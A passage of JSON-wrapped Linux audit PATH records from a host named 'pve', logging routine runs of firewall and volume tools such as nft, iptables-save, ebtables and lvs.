cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964996421,"@rawstring":"node=pve type=PATH msg=audit(1781964996.421:63551): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964996421,"@rawstring":"node=pve type=PATH msg=audit(1781964996.421:63551): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964996421,"@rawstring":"node=pve type=PATH msg=audit(1781964996.421:63550): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964996421,"@rawstring":"node=pve type=PATH msg=audit(1781964996.421:63549): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964996413,"@rawstring":"node=pve type=PATH msg=audit(1781964996.413:63548): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964996413,"@rawstring":"node=pve type=PATH msg=audit(1781964996.413:63548): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964996413,"@rawstring":"node=pve type=PATH msg=audit(1781964996.413:63547): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964996413,"@rawstring":"node=pve type=PATH msg=audit(1781964996.413:63546): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995490,"@rawstring":"node=pve type=PATH msg=audit(1781964995.490:63545): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995490,"@rawstring":"node=pve type=PATH msg=audit(1781964995.490:63545): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995487,"@rawstring":"node=pve type=PATH msg=audit(1781964995.487:63544): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995487,"@rawstring":"node=pve type=PATH msg=audit(1781964995.487:63544): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995486,"@rawstring":"node=pve type=PATH msg=audit(1781964995.486:63543): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995486,"@rawstring":"node=pve type=PATH msg=audit(1781964995.486:63543): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995486,"@rawstring":"node=pve type=PATH msg=audit(1781964995.486:63542): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995482,"@rawstring":"node=pve type=PATH msg=audit(1781964995.482:63541): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995482,"@rawstring":"node=pve type=PATH msg=audit(1781964995.482:63541): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995482,"@rawstring":"node=pve type=PATH msg=audit(1781964995.482:63541): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995477,"@rawstring":"node=pve type=PATH msg=audit(1781964995.477:63540): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995477,"@rawstring":"node=pve type=PATH msg=audit(1781964995.477:63540): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995470,"@rawstring":"node=pve type=PATH msg=audit(1781964995.470:63539): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995470,"@rawstring":"node=pve type=PATH msg=audit(1781964995.470:63539): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995464,"@rawstring":"node=pve type=PATH msg=audit(1781964995.464:63538): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995464,"@rawstring":"node=pve type=PATH msg=audit(1781964995.464:63538): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995457,"@rawstring":"node=pve type=PATH msg=audit(1781964995.457:63537): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995457,"@rawstring":"node=pve type=PATH msg=audit(1781964995.457:63537): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995451,"@rawstring":"node=pve type=PATH msg=audit(1781964995.451:63535): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995451,"@rawstring":"node=pve type=PATH msg=audit(1781964995.451:63535): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995447,"@rawstring":"node=pve type=PATH msg=audit(1781964995.447:63534): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995447,"@rawstring":"node=pve type=PATH msg=audit(1781964995.447:63534): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995441,"@rawstring":"node=pve type=PATH msg=audit(1781964995.441:63533): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995441,"@rawstring":"node=pve type=PATH msg=audit(1781964995.441:63533): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995436,"@rawstring":"node=pve type=PATH msg=audit(1781964995.436:63532): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995436,"@rawstring":"node=pve type=PATH msg=audit(1781964995.436:63532): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995431,"@rawstring":"node=pve type=PATH msg=audit(1781964995.431:63531): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995431,"@rawstring":"node=pve type=PATH msg=audit(1781964995.431:63531): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995427,"@rawstring":"node=pve type=PATH msg=audit(1781964995.427:63530): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995427,"@rawstring":"node=pve type=PATH msg=audit(1781964995.427:63530): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995421,"@rawstring":"node=pve type=PATH msg=audit(1781964995.421:63529): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995421,"@rawstring":"node=pve type=PATH msg=audit(1781964995.421:63529): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995414,"@rawstring":"node=pve type=PATH msg=audit(1781964995.414:63528): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995414,"@rawstring":"node=pve type=PATH msg=audit(1781964995.414:63528): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995411,"@rawstring":"node=pve type=PATH msg=audit(1781964995.411:63527): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995411,"@rawstring":"node=pve type=PATH msg=audit(1781964995.411:63527): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995407,"@rawstring":"node=pve type=PATH msg=audit(1781964995.407:63526): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995407,"@rawstring":"node=pve type=PATH msg=audit(1781964995.407:63526): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995406,"@rawstring":"node=pve type=PATH msg=audit(1781964995.406:63525): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995406,"@rawstring":"node=pve type=PATH msg=audit(1781964995.406:63525): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995406,"@rawstring":"node=pve type=PATH msg=audit(1781964995.406:63524): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995403,"@rawstring":"node=pve type=PATH msg=audit(1781964995.403:63523): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995403,"@rawstring":"node=pve type=PATH msg=audit(1781964995.403:63523): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995403,"@rawstring":"node=pve type=PATH msg=audit(1781964995.403:63523): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995396,"@rawstring":"node=pve type=PATH msg=audit(1781964995.396:63522): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995396,"@rawstring":"node=pve type=PATH msg=audit(1781964995.396:63522): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995389,"@rawstring":"node=pve type=PATH msg=audit(1781964995.389:63521): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995389,"@rawstring":"node=pve type=PATH msg=audit(1781964995.389:63521): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995385,"@rawstring":"node=pve type=PATH msg=audit(1781964995.385:63520): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995385,"@rawstring":"node=pve type=PATH msg=audit(1781964995.385:63520): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995379,"@rawstring":"node=pve type=PATH msg=audit(1781964995.379:63519): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995379,"@rawstring":"node=pve type=PATH msg=audit(1781964995.379:63519): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995373,"@rawstring":"node=pve type=PATH msg=audit(1781964995.373:63518): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995373,"@rawstring":"node=pve type=PATH msg=audit(1781964995.373:63518): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995042,"@rawstring":"node=pve type=PATH msg=audit(1781964995.042:63517): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995042,"@rawstring":"node=pve type=PATH msg=audit(1781964995.042:63517): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995010,"@rawstring":"node=pve type=PATH msg=audit(1781964995.010:63516): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995010,"@rawstring":"node=pve type=PATH msg=audit(1781964995.010:63516): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964991406,"@rawstring":"node=pve type=PATH msg=audit(1781964991.406:63515): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964991406,"@rawstring":"node=pve type=PATH msg=audit(1781964991.406:63515): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964991406,"@rawstring":"node=pve type=PATH msg=audit(1781964991.406:63514): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964991406,"@rawstring":"node=pve type=PATH msg=audit(1781964991.406:63513): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964991393,"@rawstring":"node=pve type=PATH msg=audit(1781964991.393:63512): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964991393,"@rawstring":"node=pve type=PATH msg=audit(1781964991.393:63512): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964991393,"@rawstring":"node=pve type=PATH msg=audit(1781964991.393:63511): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964991393,"@rawstring":"node=pve type=PATH msg=audit(1781964991.393:63510): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964986381,"@rawstring":"node=pve type=PATH msg=audit(1781964986.381:63509): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964986381,"@rawstring":"node=pve type=PATH msg=audit(1781964986.381:63509): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964986381,"@rawstring":"node=pve type=PATH msg=audit(1781964986.381:63508): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964986381,"@rawstring":"node=pve type=PATH msg=audit(1781964986.381:63507): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964986376,"@rawstring":"node=pve type=PATH msg=audit(1781964986.376:63506): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964986376,"@rawstring":"node=pve type=PATH msg=audit(1781964986.376:63506): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964986376,"@rawstring":"node=pve type=PATH msg=audit(1781964986.376:63505): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964986376,"@rawstring":"node=pve type=PATH msg=audit(1781964986.376:63504): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985363,"@rawstring":"node=pve type=PATH msg=audit(1781964985.363:63503): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985363,"@rawstring":"node=pve type=PATH msg=audit(1781964985.363:63503): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985360,"@rawstring":"node=pve type=PATH msg=audit(1781964985.360:63502): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985360,"@rawstring":"node=pve type=PATH msg=audit(1781964985.360:63502): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985359,"@rawstring":"node=pve type=PATH msg=audit(1781964985.359:63501): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985359,"@rawstring":"node=pve type=PATH msg=audit(1781964985.359:63501): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985359,"@rawstring":"node=pve type=PATH msg=audit(1781964985.359:63500): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985354,"@rawstring":"node=pve type=PATH msg=audit(1781964985.354:63499): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985354,"@rawstring":"node=pve type=PATH msg=audit(1781964985.354:63499): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985354,"@rawstring":"node=pve type=PATH msg=audit(1781964985.354:63499): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985348,"@rawstring":"node=pve type=PATH msg=audit(1781964985.348:63498): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985348,"@rawstring":"node=pve type=PATH msg=audit(1781964985.348:63498): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985342,"@rawstring":"node=pve type=PATH msg=audit(1781964985.342:63497): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985342,"@rawstring":"node=pve type=PATH msg=audit(1781964985.342:63497): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 